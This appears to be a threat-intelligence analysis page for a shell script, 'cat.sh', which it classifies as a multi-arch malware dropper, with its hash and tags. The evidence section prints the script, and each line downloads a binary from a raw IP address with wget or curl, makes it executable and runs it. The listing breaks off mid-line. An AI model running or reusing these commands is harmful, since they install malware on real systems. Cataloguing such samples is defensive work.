cat.sh
Multi-arch malware dropper
Raw-IP wget world-writable fetch executeRepeated raw-IP payload download chmod execution
SHA-2567824e906e6bc2fe40b62b7fed3990103dd894ac0e27367ac4509eb9e2209dbcf
MaleculeO(C₃)H₄(Cm₇F₂Os₂Po)
Evidence
1#!/bin/sh
2wget http://77.239.124.108/iran.x86_64 -O x86_64 || curl http://77.239.124.108/iran.x86_64 -o x86_64; chmod 777 x86_64; ./x86_64 catloader;
3wget http://77.239.124.108/iran.aarch64 -O aarch64 || curl http://77.239.124.108/iran.aarch64 -o aarch64; chmod 777 aarch64; ./aarch64catloader;
4wget http://77.239.124.108/iran.m68k -O m68k || curl http://77.239.124.108/iran.m68k -o m68k; chmod 777 m68k; ./m68k catloader;
5wget http://77.239.124.108/iran.mips -O mips || curl http://77.239.124.108/iran.mips -o mips; chmod 777 mips; ./mips catloader;
6wget http://77.239.124.108/iran.mipsel -O mipsel || curl http://77.239.124.108/iran.mipsel -o mipsel; chmod 777 mipsel; ./mipsel catloader;
7wget http://77.239.124.108/iran.powerpc -O powerpc || curl http://77.239.124.108/iran.powerpc -o powerpc; chmod 777 powerpc; ./powerpc catloader;
8wget http://77.239.124.108/iran.sparc -O sparc || curl http://77.239.124.108/iran.sparc -o sparc; chmod 777 sparc; ./sparc catloader;
9wget http://77.239.124.108/iran.sh4 -O sh4 || curl http://77.239.124.108/iran.sh4 -o sh4; chmod 777 sh4; ./sh4 catloader;
10wget http://77.239.124.108/iran.arc -O arc || curl http://77.239.124.108/iran.arc -o arc; chmod 777 arc; ./arc catloader;
11wget http://77.239.124.108/iran.i486 -O i486 || curl http://77.239.124.108/iran.i486 -o i486; chmod 777 i486; ./i486 catloader;
12wget http://77.239.124.108/iran.armv4l -O …